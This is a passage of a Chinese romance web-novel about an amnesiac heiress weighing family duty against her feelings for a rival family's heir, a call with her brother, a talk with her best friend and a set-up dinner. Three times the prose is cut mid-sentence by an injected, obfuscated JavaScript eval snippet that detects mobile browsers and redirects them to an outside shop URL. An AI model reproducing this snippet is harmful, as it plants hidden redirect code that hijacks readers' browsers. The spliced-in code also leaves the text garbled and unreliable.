聂秘书蹙了蹙眉,做思考状:“柔和?尤克里里都挺柔和的吧?不过音频网络上不是一找一大堆吗?天空之城这种知名曲肯定更多。” 傅珺瑶叹了口气,把手机甩到一边:“我找过了,听着都不是那个意思,根本就睡不着……” 她的声音越说越小,后面几个字,聂秘书都没听清。 “那应该是弹的人的问题吧?有的人弹法不同,听上去就肯定有差异,傅总您是听谁弹过吗?有没有关键信息,我去帮您找。” 傅珺瑶再次咬住靠近下巴的唇肉。 弹的人…… 这都能有差异? “傅总?” “算了算了,”傅珺瑶闷闷道:“没事了,你去休息吧。” 聂秘书也不追问,出了办公室。 傅珺瑶斜瞥眼手机,唇边溢出声轻嗤。 她还就不信没那曲子就不能睡了! …… 傅珺瑶晚上回了自己的公寓。 公寓里的布置虽然也让她觉得陌生,但相比傅宅,氛围要轻松得多。 她赤着脚,也没上楼,径直在客厅的地毯上坐下来,长长地吐了口气。 睡眠不足的身体被紧绷的神经强撑一整天,浑身的肌肉实在遭不住。 她往后一仰,脖颈不偏不倚地靠在沙发上,两条腿懒懒地往茶几上一靠。 左手掀了掀裙角,嘴唇瘪了瘪,两只眸子转向天花板,自言自语道:“穿西装、涂红唇,这样带着不喜欢的面具生活,只有私底下才敢做回自己,傅珺瑶,失忆前你就是这样?” 这个问题被吞入城市的喧嚣中,得不到回答。 肚子不合时宜地叫了两声。 好饿。 傅珺瑶捞过手机,点开外卖软件,手指翻动的速度越来越快。 没有想吃的。 需要自己操心吃什么的日子还真是不习惯。 他…… 傅珺瑶‘啧’了声。 再次暗示自己:不要再想他了,那段日子纯粹是因为她失足,那个梦也切切实实被击碎了,他们之间已经闹得够难看了。 她不该在乎他,也不应该想他。他们是仇人,爷爷不会同意他们在一起的。 她回城了就该专心投身于自己的生活,该去弄清楚她出事的原因,再想办法找回记忆,最后担起集团的重任。 想起他再多次,也不过是浪费时间而已。 注意力回到外卖界面,傅珺瑶实在是提不起吃饭的兴趣,随便点了个牛奶吐司,又继续躺尸。 半小时后,外卖和一则新闻消息同时到了。 傅珺瑶只匆匆一眼,手里的吐司就被她扔在了茶几上。 简短的陈述下挂着张熟悉的照片。 深褐色的眸平静地凝着前方,没有落定点,黑色耳钉也还是停留在熟悉的位置。 傅珺瑶的指尖在屏幕上方顿了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047907|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒,往下划动。 只抓住几个关键字眼:已安全到家。 鼻腔里微微停滞的气息呼了出来。 饥饿感突然加重,傅珺瑶坐下来,边开袋边看消息。 软绵绵的牛奶面包芯在舌尖沁出醇甜,她咀嚼的动作跟着加快。 一连几十条报道,也没有涉及到受伤之类的话题,她终于彻底放心。 可思绪松弛了没两秒,电话铃声又突兀地击散了公寓的宁静。 面包片突然粘住了牙齿,强大的阻力让她没办法再继续咀嚼下去。 屏幕上只亮着那一个字—— 哥。 傅珺瑶没有很快接起。 偏偏是这个时候打过来的,她不难想到他的目的。 被她紧咬的面包慢慢化开,阻力也陡然消失,她不紧不慢地把食物咽了下去。耳膜被铃声震得微微发麻,她缓缓按住接听键,划到最右侧。 “哥。”傅珺瑶不咸不淡开口。 傅淮湛的声音倒还算平和:“珺珺,我听爸说你回公寓了,吃晚饭了吗?” 傅珺瑶抿了抿唇,如实回答。 傅淮湛嗯了声,又说:“一个人住有什么需要的或者不习惯的,尽管跟哥说,哥哥都帮你安排好。” 傅珺瑶往四周环视了圈:“暂时没什么需要的。” 原来这只是慰问电话而已,傅珺瑶又拿起没吃完的半片吐司,继续往嘴里送。 进口是软甜的吐司,却在几经咀嚼之后变了质,味同嚼蜡。 傅淮湛沉吟片刻,话题转得相当生硬,语气瞬间染了几分冷意:“珺珺,新闻你应该看到了吧?” 吐司又被她扔下。 傅珺瑶不是很想继续,只含糊应:“嗯,看到了。” “珺珺,也许你会觉得我烦,但我还是想叮嘱你几句,一定不要再跟沈述白扯上任何关系。” 傅珺瑶也不想拿手机,干脆搁在茶几上,开了免提,两手撑着沙发沿,再往后一仰。 “我知道,爷爷会不高兴。”她慢慢吐出这几个字,话里没什么情绪起伏。 “不仅仅是不高兴。”傅淮湛纠正:“你知道爷爷他这些年为了家族付出了多少吗?自从大伯离开之后,他没日没夜地扎根在集团,为了稳住咱们傅家在集团的地位,他把所有的时间和心血都献给了集团。” 傅珺瑶眉心挤了挤,没说话。 傅淮湛:“爷爷现在本来应该是退休享福的年纪,可是后备无人,他也只能继续坚守,身体也不如一般的老人家。珺珺,你现在是爷爷唯一的希望,爷爷这么多年的心结就是大伯,对沈家是恨到骨子里的!” “如果爷爷知道你跟沈述白有纠缠,就绝对不会是不高兴那么简单了,他肯定会受不了,出什么事也说不准!” 傅珺瑶依旧沉默着,搁在沙发沿的胳膊下垂,手掌慢慢攥紧了拳。 “如果爷爷出事了,那咱们家里……” “哥!”傅珺瑶开口打断了他,语气里不知道什么时候添了几分沉肃,隐隐带着威慑力。 电话那头的人话只说了一半,似乎是被她这声“哥”唬住,陷入沉默。 傅珺瑶直愣愣地盯着天花板,顶上的灯在眼底逐渐汇成一个小点,刺得眼睛发酸。 “既然你知道爷爷有多不容易,也知道爷爷现在有多么需要一个支撑他的人……” 傅珺瑶稍稍停顿,继续和刺眼的灯光抗衡:“那为什么,你不想进集团?又为什么那么着急离开?” 36. 08 长久的沉默。 傅珺瑶眼底几乎看不清任何东西,只有汇成一点的光线。 她终于舍得抬头,看着手机屏幕上通话时间一分一秒地变多。 她是不记得过去,是不知道为什么以前愿意承受在那样的高压之下,伪装成不喜欢的自己。 可她也不傻,傅淮湛一次次以所谓的‘天赋’推辞,话里话外却都是对她的逼迫,每一个字都包裹着比山还重的压力,她实在是不喜欢。 他的所作所为也太急切,像是受够了来自上头的压迫,所以急着把这种压迫转移到她身上,然后头也不回地离开。 倘若用爷爷的话来说:这是一个哥哥该有的样子吗? 这通电话足足有两分钟的空档。 傅珺瑶也不催促,平静地听着那头稍稍不稳的呼吸声。 “珺珺。”他终于开口。 不过语速很慢,音节不稳,隐隐发颤,却又极力维持着镇定:“我根本管不好集团,我没办法为集团创收,没办法维持集团的稳定,这里根本不是我想要的样子。” 傅珺瑶仍然沉默,只有嘴唇无声扯了扯。 “而且……”傅淮湛慢慢咬出两个字,拖着漫长的尾音,不知道要飘往哪里。 “爷爷也不希望我留在集团,几年前我跟爷爷闹过矛盾,有段日子…我是没回过家的,他非常反对我的个人问题,我也不想为此屈服在他的威严之下。” 个人问题。 傅珺瑶慢慢坐直身子,双臂抱胸。 那头的人终于说完最后一句话:“珺珺,这个位置,你比我适合得多,爷爷也只相信你,当然,我也只相信你。” “所以你和沈述白……” 话题最后又被傅淮湛重新拉回最初,扬声器里他的声音喋喋不休,可傅珺瑶一个字都没听进去。 通话时长将近二十分钟。 傅珺瑶终于听到了那声:“我就说这么多了,珺珺,别让爷爷失望,哥哥相信你!” 通话结束的那一刻,她猛地吸了口气,置换出了心口团起的浓雾,重重喷洒出来。 她彻底没了吃东西的心情。 干脆起身上楼洗漱,换上了宽松的睡衣。 坐到桌前,白色杯子里热好的中药也没那么烫了。 傅珺瑶一手把杯子挪到跟前,一手翻找通讯录。她想知道傅淮湛口中的个人问题的详情。 问爸妈?可傅淮湛都不愿意讲出来的事,爸妈或许也是含糊带过。 问朋友?可这些五花八门的备注根本看不出谁是她朋友。 傅珺瑶一个一个点进去看,试图从朋友圈里找到蛛丝马迹。 只是探头刚伸出去,蛛丝就被满嘴的苦涩斩断,藏着蛛丝的手机也没能幸免,和坚硬的桌面来了个亲密接触。 傅珺瑶五官下意识往内挤,试图越过皮肤的褶皱手拉手,舌头作为首当其冲的‘受害者’,更是忍不住挣脱嘴唇的束缚,想攫取空气淡化残留的浓苦。 她完全没心思再去顾其他,赶快把提前备好的蜜饯塞进嘴里,眉头却皱得更紧。 好难吃的蜜饯。 傅珺瑶绕着蜜饯罐子凝视一圈。 暗诽:这玩意也分人? 可萍姐做的那种跟他也…… 算了,将就吃吧。 她闭着眼、屏着气,一股脑地吞下药液,又连着塞了几个蜜饯,长松口气,宛若服刑结束般松弛。 打算重回正事,手机恰合时宜地“叮”了声。 清漪:【珺珺,我才回来,听说你出事了?!你现在在哪?】 傅珺瑶轻轻挑眉,心头一喜:真是想什么来什么。 她也没犹豫,直接给人打了语音过去。 那头的声音跟她的名字气质倒是很相符,仿佛清泉回荡的涟漪:“珺珺,怎么回事啊?我才出去了三个月,你到底怎么了?人没什么事吧?” 她的语气稍微急促,周遭隐隐传来车鸣。 傅珺瑶没打算卖关子,直言:“现在已经没事了,清漪,你现在方便吗?” 那头的女人似乎愣了一会,才问:“你确定你这是没事的样子?我方便,你在公寓吗?我直接过去找你。” 傅珺瑶弯唇,笃定她是朋友:“我在公寓。” …… 在公寓等到还拖着行李箱的顾清漪,傅珺瑶便更笃定,两人关系好到没话说。 顾清漪轻车熟路地找了自己的拖鞋,火急火燎地扔下行李,两只手急切地扣上傅珺瑶。 视线从头平扫到尾,不放过任何一处,又抬起下巴,嗅及她身上的味道。 “你受伤了?”顾清漪抓着她的手再次看过,没有找到伤口。 傅珺瑶只弯了弯眉眼,笑着说没事。 “你到底怎么了?我一下飞机就看到那新闻说你失踪被找回来了,你怎么失踪了?” 傅珺瑶唇角往内收了收,眉头稍稍下撇。 “其实……”措辞在脑海中想过好几回,才慢慢道:“我也不太能回答你这个问题。” 顾清漪歪头,眸中闪过明显的困惑。 傅珺瑶继续:“因为我失忆了。” “失忆?!” …… 傅珺瑶才知道,自己和顾清漪是从小玩到大的闺蜜,顾清漪的小姨也是她舅妈,还算沾点亲戚关系。 顾清漪家早些年集中在淮北发展,后来就把产业拓宽到海外了,需要经常出差。 她又是独生女,这份活自然很轻易落在她身上。她也有个毛病,一忙起工作就跟人断联,任何人都不例外。 不过她回来的第一件事就是来找傅珺瑶,谁知道她竟然出了事。 “就没有一点线索?”顾清漪实在想不通在科技和通讯如此发达的现在,她能失踪一个多月,最后还平安回来了。 傅珺瑶点头,无奈耸肩:“主要是我们都忘了怎么出的事,能查到的就是我们去了洱南,其他的连消费记录都没有。” 傅珺瑶只能想到一种可能:他们是用现金消费,最后证件和现金都淹没海底了。 “我们?”顾清漪捕捉到她话里的关键词:“你和谁?” 傅珺瑶想继续出口的话噎在了喉头,正纠结着说出来还是吞下去。 作为关系好的闺蜜,顾清漪不可能不知道她和沈述白的关系。 傅珺瑶并不想提及他,正盘算着怎么糊弄过去。 可她明显低估了顾清漪的信息源。 她斜眼看过来,像是忽然把脑中的信息串联,道:“我刚刚看到了,沈述白也失踪了一个多月。” 只陈述了这么一句。 然后等她开口。 傅珺瑶心口一紧,原本放松的两条腿很快蜷起,两只手再度纠缠,难舍难分。 “真是跟他啊?!”顾清漪猛地凑近,音量瞬间飞升,几乎能穿透隔音的门窗。 “那你们没打起来吧?!”顾清漪眼底写满了不可置信。 傅珺瑶根本回答不上来。 漆黑的眸子愣愣和她对视。 顾清漪又自己往回圆:“哦对,你失忆了,应该不记得他。” 傅珺瑶嘴唇紧抿,仍然保持沉默。 她又问她现在知不知道沈述白是谁。 傅珺瑶掐紧了虎口,语气平淡:“我知道,我哥都告诉我了,我跟他是仇人。” 顾清漪这才松了口气,又不解:“你们俩怎么会一起失踪的?” 傅珺瑶垂下眼,含糊其辞:“我也不记得了,这个不重要,我有其他的事问你。” 她的主要目的是傅淮湛。 顾清漪自然不知道她和沈述白之间发生的那点事,没紧着问。 “你哥啊。” 顾清漪沉吟,停顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054535|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很久,似乎是在思考着要怎么说才最合适。 “你哥在前些年,其实也还行。” 在他还没遇到他女朋友的时候。 “女朋友?”傅珺瑶重复。 她倒是不怎么惊讶,毕竟个人问题,还牵扯到家人的,也差不多就是恋爱问题。 顾清漪点头。 那会她们刚上大学,考虑到傅珺瑶年龄还小,傅老爷子没揪着她,火力主要集中在傅淮湛身上。 “你应该也知道家里的情况吧?傅叔叔入了外行,恒璟只有傅爷爷和你哥在,当时傅爷爷的心思几乎算是全都倾注在了你哥身上,希望他早日担起大梁。” “但你哥爱上了那个没什么背景的女孩,傅爷爷不同意你哥跟她恋爱,你哥就开始反抗,甚至扬言要辞职!” 傅珺瑶蹙眉眯眼,回想这几天接触下来傅淮湛说的那些话。 顾清漪继续:“傅爷爷肯定就生气了,他俩吵了一次特别狠的架,那会还是我跟你一起回的傅宅,但是我俩也没能劝住,你哥是个倔脾气,傅爷爷更不用说,他直接放狠话,说爱情和家人二选一,你哥当场走了,走了三年。” “三年?!”这一点傅珺瑶完全没想到。 顾清漪耸耸肩,点头:“你哥去年才回来的,恰好赶上你硕士毕业,据说是那女孩抛下他走了,不过他回来之后也没进恒璟,跟傅爷爷的关系也越来越差。” 傅淮湛没法作为傅老爷子的希望,空缺的这一部分自然只能由傅珺瑶顶上。 “珺珺,你现在失忆了也许忘了,但当初在你哥离开之后,你很快就主动跑到傅爷爷跟前说,虽然你年纪还小,但也能担起责任,只要傅爷爷想,你可以让恒璟成为任何他想要的样子,也绝对不会让他失望。” 傅珺瑶瞳孔缩紧,脑袋仿佛跟脖子不协调似的,好半天才成功转头。 她的语气有些往上扬:“我跑到爷爷跟前说了这些话?” 相比于她的惊讶,顾清漪反而不以为然:“对啊,当时我还觉得你太为家人着想,忽略了自己,但是你说,傅爷爷其实这么多年也很不容易,中年丧子、丧妻,唯二的希望都少了一半,他都已经是该退休的人了,却还顶在集团。” 傅珺瑶的心脏莫名抽了抽。 紧随而至的,是轻微的刺痛,可慢慢的,这痛又往四周发散、蔓延,余韵绵长。 中年丧子、丧妻,唯二的希望少了一半。 “你说既然你哥不行,那就由你成为傅爷爷屹立不倒的希望,反正是为了家族,牺牲一点也不算什么。你还说……虽然不记得大伯去世的时候,但奶奶去世时,你忘不了那种难受,所以很能感同身受傅爷爷,你不想让爷爷的老年活在痛苦中,也不愿看到恒璟衰落。” 心口好像被无形的大手慢慢掐紧,涌出来的痛感不似火山喷发般凶猛,而是像涓涓细流般轻缓,冲击力不强,但后劲很足。 原来这才是她失忆前的想法? 所以她不屑的‘伪装’、‘私底下才能做回自己’,都是她失忆以前主动的选择? 所以更不存在是否有人支持她做自己,是她自己就已经适应了爷爷的威严? 顾清漪叹了声气:“都是从傅伯伯和沈阿姨联姻开始,如果他们没出事,或许一切就不一样了。” 傅珺瑶骤然掐紧了掌心,熟悉的刺痛迅速沿着脉络灌入心口。 脑海中浮现出那位威严老人的模样。 他虽然没有拄拐,但脊背却弯了不少,两鬓斑白,面容苍老。 她还记得,那天刚到家,他微微泛红的眼角和稍微哽咽的声音。 手背突然覆上了层暖意。 傅珺瑶转头,顾清漪又往她身边挤了挤:“不过幸好,珺珺,你没有出事。要我说你既然失忆了,就别再像以前那样紧着自己了,傅爷爷和恒璟虽然重要,但你也要多想想自己。” 37. 09 停在心口的大手使出了所有力气,将心脏的心房、心室挤压到不剩一丝空间,连带着气管不畅,傅珺瑶一呼一吸都有些艰难。 “珺珺,我以后出差咱俩还是得保持联系!”顾清漪又靠在她肩上,将她从极度缺氧的状态里拉了出来:“我可不想再从新闻里第一时间得知你出事了!” 傅珺瑶垂眸凝着落在手背的温热,没有推开。 她笑笑:“只要你能顾得过来就行。” “那肯定的!我再忙顾你都能顾得上!”顾清漪大手一挥,语气之豪迈,仿佛帝王打下江山只为讨她这位挚友欢欣。 不过这气势还没持续多久,便被不合时宜的“咕噜”声破坏。 两人的视线对上。 顾清漪毫不客气道:“给我弄点吃的,飞机餐不好吃,我肚子一直饿着。” 傅珺瑶把茶几上的吐司先给了她:“你先吃吐司垫垫,我给你点外卖。” 顾清漪却十分诧异:“你居然会吃吐司?果然失了忆就是不一样。” 傅珺瑶点开外卖软件,问她想吃什么。 又问:“我以前不吃吗?” “当然啊,你以前都是重口味,什么辛辣酸咸的,甚至还经常去大学城的小吃街。” 傅珺瑶下意识回想,没反驳。 她貌似确实喜欢口味重一点的食物刺激味蕾。 顾清漪补充:“之前参加晚宴如果是为了撑场面的假精致餐,你还会在结束之后拉着我一起去吃宵夜。” 傅珺瑶从鼻腔里挤出声哼笑:“是吗?我是觉得没什么想吃的,而且我还喝着药,得忌口。” 说起这个,顾清漪终于想回正事。 她直接撩起傅珺瑶的衣服,前后左右地围探,终于在背后发现她正在愈合中的伤口。 “不会留疤吧?要不我明天带你去许远舟那检查检查?” 许远舟是顾清漪的未婚夫,也差不多是和她们从小玩到大的,不过他没有走家里的路从商,而是选了自己喜欢的临床医学。 “还有你的失忆,总不能就一直这样放着不管?” 傅珺瑶慢慢放下被她撩上去的衣服,摇头。 她打算等见完苏总之后再说,目前来看,她的失忆估计是个大工程,她不能丢了眼前最重要的事。 她坚持,顾清漪也不勉强,只悠悠叹气:“别人都说我是工作狂,但其实你比我更像工作狂,一顾事业身体健康都得往后靠。” 傅珺瑶只附和笑笑。 陪她吃完东西后,顾清漪直接在她这留宿,反正傅珺瑶这里她的物件一样不少。 傅珺瑶没拒绝,也恰好想从她那再探点消息。 …… 夜深人静。 房间里昏暗静谧,再适合入眠不过。 可傅珺瑶依旧半睁着眼,直愣愣地望着天花板。 还是睡不着。 脑海中还想着顾清漪陈述给她的那些事,不自觉想象那些画面。 比如三年前,爷爷私自加班突然晕倒,如果不是秘书及时发现送爷爷去医院,或许爷爷就已经不在了。 又比如,去年恒璟的股东大会上,股份占比仅次于爷爷的周董希望自己的儿子担任空缺的总经理职位,为此拢合几位大股东,如果不是傅珺瑶及时顶上,董事长的位置恐怕再过几年就要彻底换人了。 再比如,傅珺瑶和顾清漪相约回傅宅探望爷爷时,却意外撞见爷爷抱着奶奶和大伯的照片痛哭流涕。 眼前的昏暗慢慢聚拢,凝成一个越来越清晰的黑点。 她似乎已经能理解,这位老人的执着。 也似乎……对这位老人提出的要求不再那么反感。 更明白那句“不能让爷爷失望”究竟意味着什么。 双眸维持着半睁的姿势太久,眼底微微干涩,傅珺瑶慢慢闭上了眼。 在心底默默道:爷爷,我…应该不会让您失望。 …… 隔天一早,傅珺瑶比闹钟提前五分钟醒来。 洗漱完,她在衣帽间里直奔严整的西装而去,选了那套和她个人简介相像的深紫色西装。 手工定制的混纺面料光泽感亮眼,衣角挺括,没有一丝褶皱。 黑色的长发被她简单束在脑后,妆容简单精致,稍微修饰了她本就耀眼的五官,口红色号她特地选了那支熟悉的上瘾红。 她站在偌大的全身镜前,仔细端凝着这副模样的自己,目光聚焦在唇上。 上瘾红。 也许……她真的会上瘾? 傅珺瑶出门前看了眼还在倒时差的顾清漪,也没叫醒她,给她的微信留了言便出门了。 …… 傅珺瑶到办公室的时候,没想到傅淮湛也在。 她稍稍一愣,他不是不喜欢来这? “哥。”傅珺瑶还是打了招呼。 傅淮湛明显带着目的来,却在看到她这身打扮时,眼底闪过喜色。 唇角也压制不住地上扬:“珺珺,还是这一身适合你。” 傅珺瑶目前对傅淮湛的感觉谈不上好,也算不上坏。 她沉敛着眸,径直走到工位。 对上他视线的那一刻,她已经能猜到他要说什么。 于是在他开口前,率先阻断:“如果你要和我继续昨晚的话题,那你就不用说了,我清楚应该怎么做。” 她的语气平淡,又隐隐透着一股不容置喙的强势。 说完,她瞬间移开眸,打算叫聂秘书进来汇报今日的工作安排。 傅淮湛似乎也没想到她今天差不多完全变了样,话语被她堵了回去,站在原地盯着她几秒,才兀自点头,笑了笑道:“看来是我多操心了。” “不过我不是来找你继续昨晚的话题的。”他的话口一转,往前走了两步,说:“今晚把时间空出来,我带你去见个人。” 傅珺瑶手指一顿,重新瞥过去。 她问:“谁?” 傅淮湛却故意卖关子:“先保密,不过这个人你以前认识,也算是你的一个老朋友。” 老朋友?傅珺瑶完全想不起来。 傅淮湛不给她拒绝的机会:“下班我来接你,工作的事有任何问题直接call我就行。” 话音落下时,他踏着那双昂贵的手工皮鞋头也不回地走了。 “……” 傅珺瑶没空多想,因为他前脚刚走,爷爷后脚就进来了。 看到傅珺瑶这一身,老爷子脸上的笑意明显加深,语气也和缓了许多:“珺珺,这才像样嘛!工作没什么问题吧?” 傅珺瑶在他进来的同时起身,两只手不自觉地拧在一起。 她瞥了眼悦霁天地的文件,摇头说没有。 老爷子嗯了声,让她继续保持原样。 好在老爷子只是来短暂视察,很快离开。 傅珺瑶目送老人离去的背影,凝滞的气息终于松懈。 虽说有些理解他了,但那股压迫感却总能轻而易举地影响她。 上午不算忙,一个简单的会议之后,傅珺瑶又开始琢磨合同的事。 琢磨到聂秘书把午餐送进来她都毫无察觉。 “傅总,您还在研究那合同啊?其实苏氏已经算好了,只是去年出了一次小纰漏而已。” “这不是小纰漏。”傅珺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066465|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶合上文件,指正:“我不想拿住户的安全去赌,这是最基本的原则。” “可是启行那边在董事长那里绝对行不通的。”聂秘书依旧笃定。 傅珺瑶在熟悉的位置坐下,“大不了先斩后奏,董事长那边我去说,虽说得顾利益,但更得注重品质。” 比起容易出纰漏的苏氏和还没有那么成熟的林氏,启行除了二十多年前的那起主观造成的意外,没有任何bug。 聂秘书把精心挑选的菜品一一揭开,嘴上又感叹:“果然和董事长说的一样,您失不失忆都是一样的想法。” 傅珺瑶一眼看到那碗百香果酸汤牛肉,香味飘进鼻腔,隐隐熟悉,她忍不住咽了咽口水。 “我只不过是考虑整体的可行性罢了。” 傅珺瑶无心再聊工作,专注在酸汤牛肉,等不及要尝下肚。 然而牛肉才接触舌尖,凝在心口所有的期待都化成泡影。 双眉忍不住夹紧,嘴里的肉只嚼了两口,便被厚厚的纸巾包了起来,垃圾桶成了它最后的归宿。 聂秘书连忙给她递水,“不好吃吗?” 这还是她好不容易才找到的一家做这个的餐厅。 傅珺瑶点头。 这味道完全不是那个意思,就这种做法简直是在玷污食材。 酸甜配比失衡,不仅不是美味,反而难以下咽。 傅珺瑶连着漱了好几次口,终于散清嘴里难受的味道。 “以后还是老样子吧。” 如果真的非要跟人有关,那她就全都戒掉。 傅珺瑶再没碰一下那碗酸汤牛肉,只随便垫巴了几口。 聂秘书出去之前,她又让人给她送了咖啡进来。 “傅总,您不是在喝中药吗?还是别喝咖啡了吧?”聂秘书提醒。 傅珺瑶揉了揉眼下,那里被遮瑕膏藏着睡眠不足的证据:“没关系,你给我送过来吧。” …… 下班时间,傅淮湛比时钟还精准,出现在了她的办公室门口。 傅珺瑶才想起他说的要带她去见个人。 “到底见谁啊?男的女的?”傅珺瑶被拉上他的车时,实在是有些没耐心了。 尤其往车里一坐,她都困了。 人到了车上,傅淮湛也没再瞒着,说:“林逸深,你们其实也算青梅竹马,不过他高中就出国了,今年才回来。” 傅淮湛解释完,傅珺瑶便猜到他什么意思。 语气倏然冷下来:“我说了我明白该怎么做,我不会去见他,那段时间对我来说…不过是一段荒唐日子,你还要担心什么?” 她实在是不理解,分明嘴上说着相信她,但次次行为都摆明了不相信她。 傅淮湛因为她的冷语质问有几秒的沉默,但他又很快道:“珺珺,不是我不相信你,是我不相信沈述白。” 那个名字又径直撞进心口,傅珺瑶不自觉咬紧牙,拧眉侧过头去,不愿意看他。 傅淮湛说:“那天他追你追成那个样子,明显就是对你动情了,如果不是我把你带走,恐怕你现在还回不来。” 傅珺瑶呼吸一紧,西装下摆嵌在她的掌心,被她狠狠蹂躏,出现明显的皱褶。 牙关咬合得更重。 那几帧画面又冲进脑海—— 他的脸颊被眼泪横扫,那颗耳钉完全失去光泽,声音嘶哑着说他爱她。 他大喊,求她不要走。 她抓着他的伤口,说他恶心。 “有的男人动了情,就算有仇恨的理由他都可能完全恨不起来,更何况他当初明显就是知道了真相还瞒着你,他就没想跟你分开!” 38. 10 西装快要遭不住傅珺瑶的蹂躏,还算坚韧的混纺布料仿佛要在她手里断裂。 车内陷入短暂的沉默。 傅淮湛意识到自己的语气有些冲,主动跟傅珺瑶道歉:“抱歉珺珺,我没控制好语气。” “但我只是希望你能不跟沈述白有一丁点的关系,我不想因为他让爸妈、让爷爷有任何的不开心。” 爸妈、爷爷。 傅珺瑶在牙齿快要麻木的那一刻松开,颊侧的肌肉终于恢复自由,不再紧绷。 她闭上眼,深吸了口气,再睁开眸时,恰好对上后视镜中的目光。她回正,西装也成功解开了束缚,眼底汇入长街的车流,只留给傅淮湛一张侧脸:“我知道了,你带我去吧。” …… 他们到餐厅的时候,林逸深已经等候在餐位。 傅珺瑶无法在脑海中对上他的号,只由傅淮湛介绍。 男人一身再正式不过的黑色西装,包裹着高大健硕的身体,笔直的长腿收进裤管,皮鞋一尘不染。短发适当打理,露出饱满的额头,平眉下的眼角稍微弯起,唇边漾开不浅不深的弧度。 干净、温柔。 这是傅珺瑶对他的第一印象。 他主动伸手:“珺珺,好久不见。” 傅珺瑶伸出去的手稍微僵了僵,扯唇道:“好久不见。” 傅淮湛只和人打了声招呼,便说自己还有事,还麻烦林逸深送傅珺瑶回家。 傅珺瑶看穿他的用意,却也还是给了他面子,在林逸深替她拉开凳子时,坦荡地坐下。 也如傅淮湛在车上提前描述的那般,林逸深是个很有风度的谦谦公子。 菜单递到她手中时,他主动推荐自己尝过觉得不错的菜品,最后又弯起那双温润的深灰色眸,语气亲和:“不过我们也可以尝试其他的菜品,没准也能找到新大陆。” 选择权全然交到她手中,傅珺瑶根据眼缘点了几道。 点完菜,林逸深又拜托服务员给了她一杯温水。 “珺珺,听说你前阵子出了点事,那就给我一个机会,先向你介绍一下我自己,好吗?”男人稍稍歪头,脊背直挺,深灰色的眸子中汇聚了零星光点。 傅珺瑶抿了口温水,无声点头。 “我是林逸深,和你是十几年的青梅竹马,不过我高中时期随父母去了苏黎世念书,今年才决定回来,目前就职于自家的林氏企业,是个还需要磨砺的CEO。” 指腹隔着玻璃杯被温水骤然灼烫,傅珺瑶抬眸,对上那道视线。 心脏猛地抽搐两下。 林氏…… 仅次于启行和苏氏的安防科技公司。 傅珺瑶的目光悄然扫过所及之处男人的模样。 隐隐看透,傅淮湛为什么会选择他。 心口莫名绕上一层浓雾,引她不自觉蹙眉。 她放下玻璃杯,视线在杯沿留下的口红印记上停留两秒。 这红…她果然会上瘾。 至少能充当她的保护壳,为她添上一抹强劲的色彩。 她挺直了腰板,红唇弯起,眸光却无分毫波澜:“我听我哥说了一部分,你年纪轻轻事业有成已经很厉害。只是太不好意思,过去的事情我完全没有印象了。” 林逸深摆了摆手,唇角的弧度漾得更深:“没关系珺珺,过去的事情不记得就算了,我们快十年没见面,就算记得也会生疏的,不记得过去,我们也可以创造未来嘛。” 傅珺瑶不自觉躲避两秒,无声扯了扯唇,重新看过去时,眸子闪了闪,陡然驱散了心间的雾气。 耳边轻缓的钢琴音徐徐入耳,话语徘徊在喉间,始终找不到出口。 对面的人静静等待,眉眼弯如月牙。 傅珺瑶正欲含糊其辞,不过在开口前,色泽鲜亮的菜品已经等不及上桌。 傅珺瑶松了口气。 林逸深似乎也没有特别在意这个被忽略掉的话题,做出“请”的手势,示意她动筷。 傅珺瑶点头,她确实饿了。 “你现在都成左撇子了?”林逸深问这话的时候,傅珺瑶正用左手拿筷子往嘴里送了块鱼肉。 她瞥了眼左手,吞下食物,稍稍意外问:“我以前不是左撇子?” 林逸深点头,说她初中那会都惯用右手。 傅珺瑶顿了顿,沉默两秒后,嘴边弯出抹淡笑:“现在习惯了左手。” 整顿饭,林逸深都保持着该有的分寸,简单的叙旧、恰到好处的关心、点到为止的期待。每一句话、每一个动作都不让人反感。 就连眼神,都没有半点侵略性。 如果傅淮湛真的是想找个替代品,那他倒是没挑错。 傅珺瑶大多作为应和者,却也给足了他面子,句句回应。 她以为这顿饭还需要漫长的收尾,可刚觉得喉间微微干涩,林逸深已经起身:“不早了,我送你回家吧?” 傅珺瑶瞳孔微微缩起,气息有短暂的停滞,又在他凑近时恢复如常。 那张温润的笑脸迎入眼底,她有短暂的恍惚,随后又弯唇点头:“好啊。” 恰如他的人,他的车内也很干净,不沾有一丝灰尘,还飘着很淡的清香。 傅珺瑶下意识问出口:“你有洁癖吗?” 林逸深系好安全带,倒也没藏着掖着:“是有一点,干净的环境能让心情舒适嘛。” 